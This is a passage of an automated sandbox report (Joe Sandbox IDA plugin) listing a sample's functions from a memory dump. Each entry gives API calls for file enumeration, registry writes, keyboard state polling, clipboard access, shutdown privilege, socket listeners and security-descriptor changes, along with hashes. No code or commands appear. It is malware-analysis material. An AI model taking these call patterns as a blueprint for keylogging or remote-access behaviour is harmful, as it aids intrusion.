SetCurrentDirectoryW.KERNEL32(0039B578), ref: 0034F6FE
FindNextFileW.KERNEL32(00000000,00000010), ref: 0034F708
FindClose.KERNEL32(00000000), ref: 0034F715
FindClose.KERNEL32(00000000), ref: 0034F727

Strings

*.*, xrefs: 0034F68B
S4, xrefs: 0034F6E2

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*$S4
API String ID: 1803514871-2779264029
Opcode ID: 898b8edbedb1f80f68c15fafcfed00208292e2f2b2eb8a9f41db60f0aa4be894
Instruction ID: 51a26c7a5d9e4aa90fb6018bed65107a388dc7bd92a596f75b2bd08e7830315e
Opcode Fuzzy Hash: 898b8edbedb1f80f68c15fafcfed00208292e2f2b2eb8a9f41db60f0aa4be894
Instruction Fuzzy Hash: EF31F672641209AFDF26DFB4EC89ADE77EC9F09361F150165F808D61E0DB34EA84CA60

Function 0034CD9F Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0034CDD0
FindClose.KERNEL32(00000000), ref: 0034CE24
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0034CE49
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0034CE60
FileTimeToSystemTime.KERNEL32(?,?), ref: 0034CE87
__swprintf.LIBCMT ref: 0034CED3
__swprintf.LIBCMT ref: 0034CF16

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

__swprintf.LIBCMT ref: 0034CF6A

Part of subcall function 003038C8: __woutput_l.LIBCMT ref: 00303921

__swprintf.LIBCMT ref: 0034CFB8

Part of subcall function 003038C8: __flsbuf.LIBCMT ref: 00303943
Part of subcall function 003038C8: __flsbuf.LIBCMT ref: 0030395B

__swprintf.LIBCMT ref: 0034D007
__swprintf.LIBCMT ref: 0034D056
__swprintf.LIBCMT ref: 0034D0A5

Strings

%4d, xrefs: 0034CF10
%02d, xrefs: 0034CF5E, 0034CF68, 0034CFB6, 0034D005, 0034D054, 0034D0A3
%4d%02d%02d%02d%02d%02d, xrefs: 0034CECD

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 56172bee818ff9efa1e2a2751911045aa490a45e2367db1edd4a3358f28836a5
Instruction ID: c87042d3d9036e74ef125690bdabff309f780c2c54c16239e7cb168d640c2fe9
Opcode Fuzzy Hash: 56172bee818ff9efa1e2a2751911045aa490a45e2367db1edd4a3358f28836a5
Instruction Fuzzy Hash: FDA15CB1414344ABD711FFA5C985DAFB7ECAF94704F800929F585C7192EB30EA58CBA2

Function 00360EB7 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00360FB3
RegCreateKeyExW.ADVAPI32(?,?,00000000,00370980,00000000,?,00000000,?,?), ref: 00361021
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00361069
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 003610F2
RegCloseKey.ADVAPI32(?), ref: 00361412
RegCloseKey.ADVAPI32(00000000), ref: 0036141F

Strings

REG_SZ, xrefs: 00361130
REG_DWORD, xrefs: 003612E3
REG_QWORD, xrefs: 00361360
REG_MULTI_SZ, xrefs: 003611DA
REG_EXPAND_SZ, xrefs: 0036108F
REG_BINARY, xrefs: 003613AD

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: f1add8b90b5fa51a43e7bc20b81fbaa1dcffcaeebf1be72f882a3546cad982de
Instruction ID: dda8ebd1bfc3987fb66aa6fb646d2bd07d9a8e64bc7ea8c2e02205998a1eebcc
Opcode Fuzzy Hash: f1add8b90b5fa51a43e7bc20b81fbaa1dcffcaeebf1be72f882a3546cad982de
Instruction Fuzzy Hash: 81026B752106519FCB16EF25C851E2AB7E5FF88724F04895CF98A9B3A2CB30ED51CB81

Function 0034F735 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 0034F756
_wcscmp.LIBCMT ref: 0034F76B
_wcscmp.LIBCMT ref: 0034F782

Part of subcall function 00344875: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00344890

FindNextFileW.KERNEL32(00000000,?), ref: 0034F7B1
FindClose.KERNEL32(00000000), ref: 0034F7BC
FindFirstFileW.KERNEL32(*.*,?), ref: 0034F7D8
_wcscmp.LIBCMT ref: 0034F7FF
_wcscmp.LIBCMT ref: 0034F816
SetCurrentDirectoryW.KERNEL32(?), ref: 0034F828
SetCurrentDirectoryW.KERNEL32(0039B578), ref: 0034F846
FindNextFileW.KERNEL32(00000000,00000010), ref: 0034F850
FindClose.KERNEL32(00000000), ref: 0034F85D
FindClose.KERNEL32(00000000), ref: 0034F86F

Strings

*.*, xrefs: 0034F7D3
j4, xrefs: 0034F82A

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*$j4
API String ID: 1824444939-161083114
Opcode ID: d9044d716ea8b2f1ba8f6ba164161f86a9deeacda4953652e8eab6f76a16df50
Instruction ID: d68ec2e1f1dc1fd533a52d79546d07abc73e663ada4e7d54730c7a984052cbb5
Opcode Fuzzy Hash: d9044d716ea8b2f1ba8f6ba164161f86a9deeacda4953652e8eab6f76a16df50
Instruction Fuzzy Hash: 4431D67250121DAFDF269BB4DC88ADE77ECDF09320F150165E804EA1E1EB34EE85CA60

Function 003388CD Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00338E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00338E3C
Part of subcall function 00338E20: GetLastError.KERNEL32(?,00338900,?,?,?), ref: 00338E46
Part of subcall function 00338E20: GetProcessHeap.KERNEL32(00000008,?,?,00338900,?,?,?), ref: 00338E55
Part of subcall function 00338E20: HeapAlloc.KERNEL32(00000000,?,00338900,?,?,?), ref: 00338E5C
Part of subcall function 00338E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00338E73

Part of subcall function 00338EBD: GetProcessHeap.KERNEL32(00000008,00338916,00000000,00000000,?,00338916,?), ref: 00338EC9
Part of subcall function 00338EBD: HeapAlloc.KERNEL32(00000000,?,00338916,?), ref: 00338ED0
Part of subcall function 00338EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00338916,?), ref: 00338EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00338931
_memset.LIBCMT ref: 00338946
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00338965
GetLengthSid.ADVAPI32(?), ref: 00338976
GetAce.ADVAPI32(?,00000000,?), ref: 003389B3
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 003389CF
GetLengthSid.ADVAPI32(?), ref: 003389EC
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 003389FB
HeapAlloc.KERNEL32(00000000), ref: 00338A02
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00338A23
CopySid.ADVAPI32(00000000), ref: 00338A2A
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00338A5B
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00338A81
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00338A95

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 971047103674a39a5547d8feb667e8c242cbf0db7672483a49c346b882f7c7b1
Instruction ID: 43e8f659fa6d28ab53e7b2f6cc358471d997d22b5d9a426ac509d2f3ed641311
Opcode Fuzzy Hash: 971047103674a39a5547d8feb667e8c242cbf0db7672483a49c346b882f7c7b1
Instruction Fuzzy Hash: 56612575900209EFDF16DFA5DC85EEEBB79FF04310F04812AF916AA290DB359A45CB60

Function 00360A3A Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0036147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0036040D,?,?), ref: 00361491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00360B0C

Part of subcall function 002E4D37: __itow.LIBCMT ref: 002E4D62
Part of subcall function 002E4D37: __swprintf.LIBCMT ref: 002E4DAC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00360BAB
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00360C43
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00360E82
RegCloseKey.ADVAPI32(00000000), ref: 00360E8F

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 28859d1ff640e62646709d282fe5ac47be50fd914837f092d61ba2cea5361f3a
Instruction ID: 4818106e92071e5247eabff9df32aee6d41ec78952e004a6a464af2db413fd01
Opcode Fuzzy Hash: 28859d1ff640e62646709d282fe5ac47be50fd914837f092d61ba2cea5361f3a
Instruction Fuzzy Hash: 82E16B31204214AFC719DF25C895E2BBBE8EF89714F04C96DF84ADB2A5DA31E911CB51

Function 00340508 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00340530
GetAsyncKeyState.USER32(000000A0), ref: 003405B1
GetKeyState.USER32(000000A0), ref: 003405CC
GetAsyncKeyState.USER32(000000A1), ref: 003405E6
GetKeyState.USER32(000000A1), ref: 003405FB
GetAsyncKeyState.USER32(00000011), ref: 00340613
GetKeyState.USER32(00000011), ref: 00340625
GetAsyncKeyState.USER32(00000012), ref: 0034063D
GetKeyState.USER32(00000012), ref: 0034064F
GetAsyncKeyState.USER32(0000005B), ref: 00340667
GetKeyState.USER32(0000005B), ref: 00340679

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 2e2ea3551c676d09840d88c002859787fc16386c1548b2a61952ec96742f682a
Instruction ID: ffb4a308c8c69487c71826974fb711d083c0a026c41b31b96f99631e79c284a0
Opcode Fuzzy Hash: 2e2ea3551c676d09840d88c002859787fc16386c1548b2a61952ec96742f682a
Instruction Fuzzy Hash: 6541A7307087C95DFF3A966488043B5BEE4EB52304F064499D7C65E5C1EAB8B9D8CF91

Function 0034443D Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00344451
__swprintf.LIBCMT ref: 0034445E

Part of subcall function 003038C8: __woutput_l.LIBCMT ref: 00303921

FindResourceW.KERNEL32(?,?,0000000E), ref: 00344488
LoadResource.KERNEL32(?,00000000), ref: 00344494
LockResource.KERNEL32(00000000), ref: 003444A1
FindResourceW.KERNEL32(?,?,00000003), ref: 003444C1
LoadResource.KERNEL32(?,00000000), ref: 003444D3
SizeofResource.KERNEL32(?,00000000), ref: 003444E2
LockResource.KERNEL32(?), ref: 003444EE
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 0034454F

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: 014b041a2af88f7ec95c7cce88240bf74ad7f06109c6e38ae4f0258832e1698d
Instruction ID: 3e8b9b147c4dba919e534262c5c889e23f1b5538201e6556f61d87b42ea8c409
Opcode Fuzzy Hash: 014b041a2af88f7ec95c7cce88240bf74ad7f06109c6e38ae4f0258832e1698d
Instruction Fuzzy Hash: B3318E7190121AABDF169F60ED48ABB7BECEB0A301F004865F915DA151EB70EA60CA60

Function 00354830 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00354857
EmptyClipboard.USER32 ref: 0035485D
GlobalAlloc.KERNEL32(00000002,?), ref: 00354872
CloseClipboard.USER32 ref: 00354911

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: f1e551a1c6eb2939447b9fbe82d4fd51a89b15b48eca3c3f118d2ae7717008a8
Instruction ID: b80475eb0b52dd45298ae2f20ee3f13289d6923b69aa764d0c0d1bd5a9759669
Opcode Fuzzy Hash: f1e551a1c6eb2939447b9fbe82d4fd51a89b15b48eca3c3f118d2ae7717008a8
Instruction Fuzzy Hash: C3218331241210DFDB2BAF61EC59F6E77ACEF44725F018415F9099B2B1DB70AD908B94

Function 00345778 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00339399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 003393E3
Part of subcall function 00339399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00339410
Part of subcall function 00339399: GetLastError.KERNEL32 ref: 0033941D

ExitWindowsEx.USER32(?,00000000), ref: 003457B4

Strings

SeShutdownPrivilege, xrefs: 00345784
@, xrefs: 003457A7
, xrefs: 003457A2

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 7e0e1c66cfedaac5b155ef5bd5305519610d0d539179830b737c52b5dea68736
Instruction ID: 1c4b86145b1e54c67107fe269b8a251c753d88a9694f398595a4c263880f4c3b
Opcode Fuzzy Hash: 7e0e1c66cfedaac5b155ef5bd5305519610d0d539179830b737c52b5dea68736
Instruction Fuzzy Hash: 0701DF31B90712EBE72B62A49C8ABBA7ADCEB04750F210439F957DE0D3EA507C008160

Function 0035696E Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 003569C7
WSAGetLastError.WSOCK32(00000000), ref: 003569D6
bind.WSOCK32(00000000,?,00000010), ref: 003569F2
listen.WSOCK32(00000000,00000005), ref: 00356A01
WSAGetLastError.WSOCK32(00000000), ref: 00356A1B
closesocket.WSOCK32(00000000,00000000), ref: 00356A2F

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 8bacddca470fe373094c2c7bbd183653a8ffd437a721d58b6ac25f117a531e4a
Instruction ID: 87af96c3ffdc06e16e9bb839eb6f351c3fcff397f885feae2001c20d09d532e3
Opcode Fuzzy Hash: 8bacddca470fe373094c2c7bbd183653a8ffd437a721d58b6ac25f117a531e4a
Instruction Fuzzy Hash: D921E170200204EFCB15EF64CC8AE6EB3ADEF44721F158158FC1AA72A1CB70AC45CB91

Function 002E1663 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 002E29E2: GetWindowLongW.USER32(?,000000EB), ref: 002E29F3

DefDlgProcW.USER32(?,?,?,?,?), ref: 002E1DD6
GetSysColor.USER32(0000000F), ref: 002E1E2A
SetBkColor.GDI32(?,00000000), ref: 002E1E3D

Part of subcall function 002E166C: DefDlgProcW.USER32(?,00000020,?), ref: 002E16B4

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: e510b3e341c375f2b01ec54e716d14423e162718e51976742e3e716a703503b6
Instruction ID: 2862789a1eb099457b1a47320b8ca405f6c0cda1e07892de8b188bba743cbaa8
Opcode Fuzzy Hash: e510b3e341c375f2b01ec54e716d14423e162718e51976742e3e716a703503b6
Instruction Fuzzy Hash: A7A18A701B9485BAD72E6F2B8C89EBF359DDB47301F95422AF402CA185CA718C71C2B5

Function 0034C2FF Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0034C329
_wcscmp.LIBCMT ref: 0034C359
_wcscmp.LIBCMT ref: 0034C36E
FindNextFileW.KERNEL32(00000000,?), ref: 0034C37F
FindClose.KERNEL32(00000000,00000001,00000000), ref: 0034C3AF

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 1c26926ff630b2f56cef6b4512cbbdb6a432260d1ba651ffee5bc7d72df771bb
Instruction ID: f22ea410171b3e11c63eefbd9453b0a8c6ee98a0e64399fbff212cbb0be0c985
Opcode Fuzzy Hash: 1c26926ff630b2f56cef6b4512cbbdb6a432260d1ba651ffee5bc7d72df771bb
Instruction Fuzzy Hash: FD51AA396156028FD71ADF69C490AAAB3E8EF49320F01461DF95ACB3A1DB30FD00CB91

Function 00356E32 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00358475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 003584A0

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00356E89
WSAGetLastError.WSOCK32(00000000), ref: 00356EB2
bind.WSOCK32(00000000,?,00000010), ref: 00356EEB
WSAGetLastError.WSOCK32(00000000), ref: 00356EF8
closesocket.WSOCK32(00000000,00000000), ref: 00356F0C

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 685aebc43ade16136f461ff77a998e6c00d0ce4d17a423f9d14ae42b7f57957d
Instruction ID: 486d9e6ee765ede5230ebfd1de2a77c59f8e801946906c63ae3785c570e35074
Opcode Fuzzy Hash: 685aebc43ade16136f461ff77a998e6c00d0ce4d17a423f9d14ae42b7f57957d
Instruction Fuzzy Hash: 0341E375650204AFDB21BF65DC87F6E73A89B04714F848558FE19AB3D2CA709D108FA1

Function 003659B3 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00365A02
IsWindowEnabled.USER32 ref: 00365A10
GetForegroundWindow.USER32(?,?,00000001), ref: 00365A1D
IsIconic.USER32 ref: 00365A2B
IsZoomed.USER32 ref: 00365A39

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
